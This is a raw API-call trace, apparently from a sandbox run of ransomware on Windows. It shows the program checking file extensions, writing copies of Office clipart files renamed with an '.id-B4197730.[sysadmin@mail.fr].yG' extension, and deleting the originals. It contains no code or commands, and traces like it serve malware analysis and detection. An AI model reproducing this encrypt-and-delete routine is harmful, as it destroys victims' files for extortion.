	[0138.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.540] lstrlenW (lpString=".zip") returned 4
	[0138.540] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.540] lstrlenW (lpString=".rar") returned 4
	[0138.540] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString=".bz2") returned 4
	[0138.540] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString=".7z") returned 3
	[0138.540] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.540] lstrlenW (lpString=".dbf") returned 4
	[0138.540] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.540] lstrlenW (lpString=".1cd") returned 4
	[0138.540] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.541] lstrlenW (lpString=".jpg") returned 4
	[0138.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.541] lstrlenW (lpString=".doc") returned 4
	[0138.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString=".docx") returned 5
	[0138.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.541] lstrlenW (lpString=".pdf") returned 4
	[0138.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString=".xls") returned 4
	[0138.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.541] lstrlenW (lpString=".xlsx") returned 5
	[0138.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.541] lstrlenW (lpString=".ppt") returned 4
	[0138.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.541] lstrlenW (lpString=".zip") returned 4
	[0138.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.541] lstrlenW (lpString=".rar") returned 4
	[0138.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString=".bz2") returned 4
	[0138.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.541] lstrlenW (lpString=".7z") returned 3
	[0138.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.542] lstrlenW (lpString=".dbf") returned 4
	[0138.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.542] lstrlenW (lpString=".1cd") returned 4
	[0138.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01167_.WMF") returned 68
	[0138.542] lstrlenW (lpString=".jpg") returned 4
	[0138.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.542] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.542] lstrlenW (lpString="DD01170_.WMF") returned 12
	[0138.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.543] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2404) returned 1
	[0138.543] CloseHandle (hObject=0x428) returned 1
	[0138.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 0x220
	[0138.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.544] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.544] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.544] GetLastError () returned 0x0
	[0138.544] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x964, lpOverlapped=0x0) returned 1
	[0138.608] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x970, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x970, lpOverlapped=0x0) returned 1
	[0138.610] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.610] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.610] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.643] CloseHandle (hObject=0x4a0) returned 1
	[0138.643] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.643] SetEndOfFile (hFile=0x428) returned 1
	[0138.647] CloseHandle (hObject=0x428) returned 1
	[0138.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.647] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01170_.wmf")) returned 1
	[0138.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.648] lstrlenW (lpString=".doc") returned 4
	[0138.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.648] lstrlenW (lpString=".docx") returned 5
	[0138.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.648] lstrlenW (lpString=".pdf") returned 4
	[0138.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.648] lstrlenW (lpString=".xls") returned 4
	[0138.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.648] lstrlenW (lpString=".xlsx") returned 5
	[0138.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.648] lstrlenW (lpString=".ppt") returned 4
	[0138.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.648] lstrlenW (lpString=".zip") returned 4
	[0138.649] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.649] lstrlenW (lpString=".rar") returned 4
	[0138.649] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString=".bz2") returned 4
	[0138.649] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString=".7z") returned 3
	[0138.649] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.649] lstrlenW (lpString=".dbf") returned 4
	[0138.649] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.649] lstrlenW (lpString=".1cd") returned 4
	[0138.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.649] lstrlenW (lpString=".jpg") returned 4
	[0138.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.649] lstrlenW (lpString=".doc") returned 4
	[0138.649] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.649] lstrlenW (lpString=".docx") returned 5
	[0138.649] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.649] lstrlenW (lpString=".pdf") returned 4
	[0138.649] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString=".xls") returned 4
	[0138.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.650] lstrlenW (lpString=".xlsx") returned 5
	[0138.650] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.650] lstrlenW (lpString=".ppt") returned 4
	[0138.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.650] lstrlenW (lpString=".zip") returned 4
	[0138.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.650] lstrlenW (lpString=".rar") returned 4
	[0138.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString=".bz2") returned 4
	[0138.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString=".7z") returned 3
	[0138.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.650] lstrlenW (lpString=".dbf") returned 4
	[0138.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.650] lstrlenW (lpString=".1cd") returned 4
	[0138.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01170_.WMF") returned 68
	[0138.650] lstrlenW (lpString=".jpg") returned 4
	[0138.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.651] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.651] lstrlenW (lpString="DD01171_.WMF") returned 12
	[0138.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.651] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2052) returned 1
	[0138.651] CloseHandle (hObject=0x428) returned 1
	[0138.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 0x220
	[0138.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.652] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.652] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.653] GetLastError () returned 0x0
	[0138.653] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x804, lpOverlapped=0x0) returned 1
	[0138.694] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x810, lpOverlapped=0x0) returned 1
	[0138.696] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.696] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.696] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.696] CloseHandle (hObject=0x4a0) returned 1
	[0138.696] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.696] SetEndOfFile (hFile=0x428) returned 1
	[0138.708] CloseHandle (hObject=0x428) returned 1
	[0138.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01171_.wmf")) returned 1
	[0138.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.709] lstrlenW (lpString=".doc") returned 4
	[0138.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.709] lstrlenW (lpString=".docx") returned 5
	[0138.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.709] lstrlenW (lpString=".pdf") returned 4
	[0138.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString=".xls") returned 4
	[0138.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.710] lstrlenW (lpString=".xlsx") returned 5
	[0138.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.710] lstrlenW (lpString=".ppt") returned 4
	[0138.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.710] lstrlenW (lpString=".zip") returned 4
	[0138.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.710] lstrlenW (lpString=".rar") returned 4
	[0138.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString=".bz2") returned 4
	[0138.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString=".7z") returned 3
	[0138.710] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.710] lstrlenW (lpString=".dbf") returned 4
	[0138.710] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.710] lstrlenW (lpString=".1cd") returned 4
	[0138.710] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.710] lstrlenW (lpString=".jpg") returned 4
	[0138.710] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.711] lstrlenW (lpString=".doc") returned 4
	[0138.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString=".docx") returned 5
	[0138.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.711] lstrlenW (lpString=".pdf") returned 4
	[0138.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString=".xls") returned 4
	[0138.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.711] lstrlenW (lpString=".xlsx") returned 5
	[0138.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0138.711] lstrlenW (lpString=".ppt") returned 4
	[0138.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.711] lstrlenW (lpString=".zip") returned 4
	[0138.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0138.711] lstrlenW (lpString=".rar") returned 4
	[0138.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString=".bz2") returned 4
	[0138.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString=".7z") returned 3
	[0138.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0138.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.711] lstrlenW (lpString=".dbf") returned 4
	[0138.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.711] lstrlenW (lpString=".1cd") returned 4
	[0138.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0138.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01171_.WMF") returned 68
	[0138.712] lstrlenW (lpString=".jpg") returned 4
	[0138.712] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0138.712] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0138.712] lstrlenW (lpString="DD01172_.WMF") returned 12
	[0138.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.713] GetFileSizeEx (in: hFile=0x428, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2232) returned 1
	[0138.713] CloseHandle (hObject=0x428) returned 1
	[0138.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 0x220
	[0138.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0138.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0138.713] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.714] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0
	[0138.714] GetLastError () returned 0x0
	[0138.714] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x8b8, lpOverlapped=0x0) returned 1
	[0138.732] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0x8c0, lpOverlapped=0x0) returned 1
	[0138.733] ReadFile (in: hFile=0x428, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0138.733] WriteFile (in: hFile=0x4a0, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0138.733] SetEndOfFile (hFile=0x4a0) returned 1
	[0138.734] CloseHandle (hObject=0x4a0) returned 1
	[0138.734] SetFilePointerEx (in: hFile=0x428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0138.734] SetEndOfFile (hFile=0x428) returned 1
	[0138.736] CloseHandle (hObject=0x428) returned 1
	[0138.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0138.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01172_.wmf")) returned 1
	[0138.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 68
	[0138.738] lstrlenW (lpString=".doc") returned 4
	[0138.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0138.738] lstrlenW (lpString=".docx") returned 5
	[0138.738] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0138.738] lstrlenW (lpString=".pdf") returned 4
	[0138.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0138.738] lstrlenW (lpString=".xls") returned 4
	[0138.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0138.738] lstrlenW (lpString=".xlsx") returned 5
	[0138.738] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
